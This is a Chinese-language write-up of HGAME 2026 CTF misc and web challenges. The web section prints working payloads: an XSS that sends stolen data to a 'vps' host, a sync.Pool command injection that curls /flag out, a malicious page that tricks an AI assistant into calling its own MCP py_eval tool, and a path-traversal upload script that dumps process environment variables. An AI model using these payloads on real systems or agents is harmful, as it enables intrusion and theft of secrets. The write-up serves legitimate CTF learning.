前言 寒假在家参加的hgame2026,对我来说题难度还是很大的,赛后跟着各路大神的wp尽量复现
misc 打好基础 给的附件是emoji,就是base100解码
第一次看这个解码结果以为是乱码,每次想到还要再解码一次
shiori不想找女友 看附件给的一张图片,仔细看图片内容在图片表面是有噪点的,然后就上工具分析,使用exiftool可以看到
{“block”: 1, “start_x”: 10, “start_y”: 10, “step_x”: 7, “step_y”: 7, “column_num”: 450}
从(10, 10) 坐标开始,以 x 方向步长 7、y 方向步长 7 的间隔拾取像素,共 450 列
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 from PIL import Imageimport numpy as npSOURCE_IMAGE = 'shiori.png' OUTPUT_IMAGE = 'flag.png' START_X = 10 START_Y = 10 SAMPLING_STEP = 7 MATRIX_COLS = 450 SCALE_FACTOR_X = 4 SCALE_FACTOR_Y = 4 * 3 def load_and_prepare_image (path ): """加载图片并转为RGB模式""" img = Image.open (path).convert('RGB' ) return img, img.size def generate_sampling_points (start_x, start_y, width, height, step ): """生成所有采样点的坐标列表""" points = [] for y in range (start_y, height, step): for x in range (start_x, width, step): points.append((x, y)) return points def sample_pixels (img, points ): """从图片中采样所有点的RGB值""" return np.array([img.getpixel(p) for p in points], dtype=np.uint8) def rgb_to_binary (rgb_pixels, threshold=128 ): """将RGB像素转为二值位(0/1)""" gray = rgb_pixels.mean(axis=1 ).astype(np.uint8) return (gray > threshold).astype(np.uint8) def reshape_bits_to_matrix (bits, cols ): """将一维bit流重塑为二维矩阵""" total_bits = (len (bits) // cols) * cols bits_truncated = bits[:total_bits] rows = total_bits // cols return bits_truncated.reshape(rows, cols) def matrix_to_image (bit_matrix ): """将0/1矩阵转为单通道灰度图""" img_data = (bit_matrix * 255 ).astype(np.uint8) return Image.fromarray(img_data, mode='L' ) def scale_and_save_image (img, cols, rows, scale_x, scale_y, save_path ): """放大图像并保存""" large_img = img.resize((cols * scale_x, rows * scale_y), Image.NEAREST) large_img.save(save_path) def main (): img, (w, h) = load_and_prepare_image(SOURCE_IMAGE) print (f"[+] 图片尺寸: {w} x{h} " ) points = generate_sampling_points(START_X, START_Y, w, h, SAMPLING_STEP) print (f"[+] 采样点总数: {len (points)} " ) pixels = sample_pixels(img, points) bits = rgb_to_binary(pixels, threshold=128 ) print (f"[+] 生成bit流长度: {len (bits)} " ) bit_matrix = reshape_bits_to_matrix(bits, MATRIX_COLS) rows, cols = bit_matrix.shape print (f"[+] 二值矩阵尺寸: {rows} x{cols} " ) key_img = matrix_to_image(bit_matrix) scale_and_save_image(key_img, cols, rows, SCALE_FACTOR_X, SCALE_FACTOR_Y, OUTPUT_IMAGE) print (f"[+] 结果已保存到: {OUTPUT_IMAGE} " ) if __name__ == "__main__" : main()
得到一个新的图片
这个也就是压缩包密码,解压后得到文件,随波逐流分析
[REDACTED] 根据题目要求要找4个敏感字符串,先大体浏览一下
这3个黑框因该就是3个敏感字符串,先逐个分析
1:PAR4D0X
1 2 3 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb21t YW5kIjoiMjpBbGxDbDNhclRvUHIwY2VlZCJ9.q ZPdEpOicqFGvSP4Oi4dLUxiBK9yu8sRcmikNxXxnsY
2:AllCl3arToPr0ceed
第三个是那一张图片,把图片用随波逐流分析
3:Sh4m1R
最后一个考察的知识点没见过,考察的是pdf的增量更新,使用官方给的工具,查看到pdf有两个版本
再提取每个版本的pdf,得到最后一个
hgame{PAR4D0X_AllCl3arToPr0ceed_Sh4m1R_D0cR3qu3st3r_Tutu}
Invest on Matrix 经典题目了,依旧是把题目信息放到提示中,需要用分数解锁信息然后解题,利用给的数据生成一个二维码
hgame{W0RTH_1T?}
web 魔理沙的魔法目录 抓包看有记录时间,根据题目提示修改一下时间,合理即可
Vidarshop 这里首先是注册,注册后会有uid,这个并不是随机的,而是根据用户名生成uid,也就是题目描述说的那样,可惜当时没有理解题目谁的啥意思,
由这3个例子可以知道用户名还有uid之间的关系,数字就是数字,字母就对照字母表的顺序,那注册一个admin1
admin1对应得是14139141,则admin对应的是1413914,接下来就是买flag了,题目说admin可以管所有人的钱,提示
update接口直接改的好像是User类的balance属性欸,但是User属性中balance似乎并非。。。该怎么修改balance呢
题目是python后端,可以使用原型链污染来修改balabce
博丽神社的绘马挂 这个直接账号和密码一样就可以直接登入进入,然后留言板就是xss。尝试一下过滤了script标签,但是img标签可以使用,可以让灵梦访问归档内容,然后外带数据,参考大佬payload
1 <img src="x" onerror="fetch('http://127.0.0.1/api/archives').then(r=>r.text()).then(t=>fetch('http:vps?data='+btoa(encodeURIComponent(t))))
MyMonitor 附件给了很多文件,关键代码在handler.go文件中,只要问题是使用内存池不严谨,分析核心代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package mainimport ( "fmt" "os/exec" "sync" "github.com/gin-gonic/gin" ) type MonitorStruct struct { Cmd string `json:"cmd" binding:"required"` Args string `json:"args"` } func (m *MonitorStruct) reset() { m.Cmd = "" m.Args = "" fmt.Println("reset" ) } var MonitorPool = &sync.Pool{ New: func () any { return &MonitorStruct{} }, } func AdminCmd (c *gin.Context) { monitor := MonitorPool.Get().(*MonitorStruct) defer MonitorPool.Put(monitor) if err := c.ShouldBindJSON(monitor); err != nil { c.JSON(400 , gin.H{"error" : err.Error()}) return } defer monitor.reset() fullCommand := fmt.Sprintf("%s %s" , monitor.Cmd, monitor.Args) output, err := exec.Command("bash" , "-c" , fullCommand).CombinedOutput() if err != nil { c.JSON(500 , gin.H{ "error" : err.Error(), "output" : string (output), }) return } c.JSON(200 , gin.H{"output" : string (output)}) }
关键漏洞在步骤3和步骤4,步骤3是绑定json数据到monitor对象,判断标准是cmd必须不为空,并且cmd,args必须为string类型,如果绑定成功,会拼接命令执行。函数结束时会执行defer语句,defer语句遵循先声明,后执行,代码中一共有两句
1 2 3 1. defer MonitorPool.Put(monitor) 2. defer monitor.reset()
最终想执行2,再执行1,这是绑定成功的情况,但是如果我们传入的是恶意的数据,比如
1 { "cmd" : "123" , "args" : "-l" }
这是绑定就是失败,不满足json的值为string类型,此时就会直接return了,那么只会执行
1 1. defer MonitorPool.Put(monitor)
而不会执行
这个就将恶意数据放进池中。结合题目分析
NaCl闲得发昏了写了个简易WebShell并隔一段时间输入“ls”命令,你能想办法偷到flag吗?
这个说明Admin会周期性执行ls命令,会调用AdminCmd函数,题目描述是只执行了ls命令,猜测json为{“cmd”:”ls”},这里args是可以为空的。
如果我们提前污染了池子,当admin执行ls时,args会拼接到cmd后面,然后使用;拼接命令,从而实现任意命令执行。
这里构造payload有两种方法:
1.重定向,把flag写入到前端的模板文件
payload
1 {"cmd":123,"args":";cat /flag > templates/user.html"}
稍等一会就得到flag
2.外带
经过测试这个不能反弹shell,但是可以外带数据,paylaod
1 {"cmd":123,"args":";curl http://vps?f=$(cat /flag)"}
这里注意加上{}就行。
参考文章
HGAME-2026 | tiran’s blog
HGAME 2026 WP | 二十一画生
My Little Assistant 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from fastapi import FastAPI, Requestfrom fastapi.middleware.cors import CORSMiddlewareimport jsonapp = FastAPI() app.add_middleware( CORSMiddleware, allow_origins=["*" ], allow_methods=["*" ], allow_headers=["*" ], ) async def py_eval (code: str ): try : local_vars = {} exec (code, {}, local_vars) return {"result" : str (local_vars), "status" : "success" } except Exception as e: return {"error" : str (e), "status" : "failed" } def check_url (url: str ) -> bool : if (url.startswith("http" ) == False ): return True return False async def py_request (url: str ): if (check_url(url)): return {"error" : "Unsafe URL" } from playwright.async_api import async_playwright try : async with async_playwright() as p: browser = await p.chromium.launch( headless=True , args=["--no-sandbox" , "--disable-dev-shm-usage" , "--disable-web-security" ] ) context = await browser.new_context() page = await context.new_page() response = await page.goto(url, timeout = 10000 , wait_until = "networkidle" ) content = await page.content() result = { "status_code" : response.status if response else None , "content" : content[:300 ] } await browser.close() return result except Exception as e: return {"error" : str (e)} TOOLS = {"py_eval" : py_eval, "py_request" : py_request} @app.post("/mcp" ) async def mcp_handler (request: Request ): data = await request.json() params = data.get("params" , {}) name = params.get("name" ) args = params.get("arguments" , {}) if name in TOOLS: result = await TOOLS[name](**args) return { "jsonrpc" : "2.0" , "id" : data.get("id" ), "result" : {"content" : [{"type" : "text" , "text" : json.dumps(result)}]} } return {"error" : "Tool not found" } if __name__ == "__main__" : import uvicorn uvicorn.run(app, host="0.0.0.0" , port=8001 )
这里提供了两个工具接口,一个是py_eval执行python代码,一个时py_request发起网页请求获取内容,经过测试,py_eval被管理员仅用了,但是py_request可以使用
在py_request中配置
1 2 3 args=["--no-sandbox", "--disable-dev-shm-usage", "--disable-web-security"]
关闭了web安全策略,导致同源策略失效,同源策略就是防止 A 网站的 JS 代码随意访问 B 网站的资源,在本题中是允许的题目中的服务监听在 0.0.0.0:8001。在 AI 运行的容器内部,它可以通过 http://127.0.0.1:8001/mcp 访问自己。在自己的服务器上放一个包含恶意js的html,然后让这个ai访问这个html执行恶意js,js实现的功能就是向 http://127.0.0.1:8001/mcp 发送一个 POST 请求使用py_eval执行代码获得flag。参考大佬payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <!DOCTYPE html > <html > <body > <h1 > Loading...</h1 > <script > const pyCode = "import os; f = os.popen('cat /flag').read()" ; const payload = { "params" : { "name" : "py_eval" , "arguments" : { "code" : pyCode } } }; fetch ("http://127.0.0.1:8001/mcp" , { method : "POST" , headers : { "Content-Type" : "application/json" }, body : JSON .stringify (payload) }) .then (response => response.json ()) .then (data => { document .body .innerText = "FLAG_RESULT: " + JSON .stringify (data); }) .catch (error => { document .body .innerText = "Error: " + error; }); </script > </body > </html >
easyuu 进入尝试后发现有两个功能,一个文件上传,一个文件下载,但是抓包时发现,在上传文件后还有一个包
查看文件目录
发现有一个easyuu.zip,下载一下。注意路径
关键代码在
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 async fn update_watcher () { } async fn get_new_version () -> Option <Version> { } async fn update () -> Result <(), Box <dyn std::error::Error>> { } fn restart_myself (path: std::path::PathBuf) { }
这里是可以忽略版本号问题的,因为不管版本号高低,代码都会每5秒执行一次./update/esayuu,代码的上传逻辑是
1 2 3 4 5 6 7 8 9 // 关键代码片段(upload_file接口) let mut file = tokio::fs::OpenOptions::new() .create(true) // 文件不存在则创建 .truncate(true) // 文件存在则清空(强制覆盖) .write(true) .open(save_path) // 你指定的路径:../update/easyuu .await?; file.write_all(&file_data).await?;
这里文件存在时直接覆盖的,所以我们只要上传恶意二进制文件覆盖/update/esayuu然后等代码执行就行,参考大佬脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 import osimport sysimport timeimport tempfileimport requestsdef upload_payload (session, base_url, timeout ): payload = "#!/bin/sh\ncat /proc/1/environ > /app/uploads/flag 2>/dev/null\n" tmp_path = None try : with tempfile.NamedTemporaryFile("w" , delete=False , newline="\n" , encoding="utf-8" ) as f: f.write(payload) tmp_path = f.name with open (tmp_path, "rb" ) as f: files = { "file" : ("../update/easyuu" , f, "application/octet-stream" ) } resp = session.post(f"{base_url} /api/upload_file" , files=files, timeout=timeout) resp.raise_for_status() print ("✅ 恶意脚本上传成功" ) finally : if tmp_path and os.path.exists(tmp_path): os.remove(tmp_path) def get_file_content (session, url, timeout ): """下载文件并处理内容(替换\x00为换行,适配environ格式)""" try : resp = session.get(url, timeout=timeout) if resp.status_code != 200 : return "" text = resp.content.decode("utf-8" , errors="ignore" ).replace("\x00" , "\n" ) return text except Exception: return "" def find_content (base_url, timeout, max_wait ): """主逻辑:上传payload → 循环等待下载flag""" session = requests.Session() session.trust_env = False upload_payload(session, base_url, timeout) deadline = time.time() + max_wait print (f"⏳ 等待{max_wait} 秒,服务器每5秒执行一次脚本..." ) while time.time() < deadline: env_content = get_file_content(session, f"{base_url} /api/download_file/flag" , timeout) if env_content: return env_content time.sleep(2 ) return "" def main (): base_url = "http://forward.vidar.club:32470/" timeout = 10 max_wait = 40 try : result = find_content(base_url, timeout, max_wait) except requests.RequestException as e: print (f"❌ 网络错误 : {e} " , file=sys.stderr) return 1 except Exception as e: print (f"❌ 未知错误 : {e} " , file=sys.stderr) return 1 if not result: print ("❌ 未找到内容(可能路径错误/权限不足)" , file=sys.stderr) return 1 print ("\n🎉 获取到环境变量内容:" ) print ("-" * 50 ) print (result) print ("-" * 50 ) with open ("server_env_flag.txt" , "w" , encoding="utf-8" ) as f: f.write(result) print (f"💾 内容已保存到本地 server_env_flag.txt" ) return 0 if __name__ == "__main__" : raise SystemExit(main())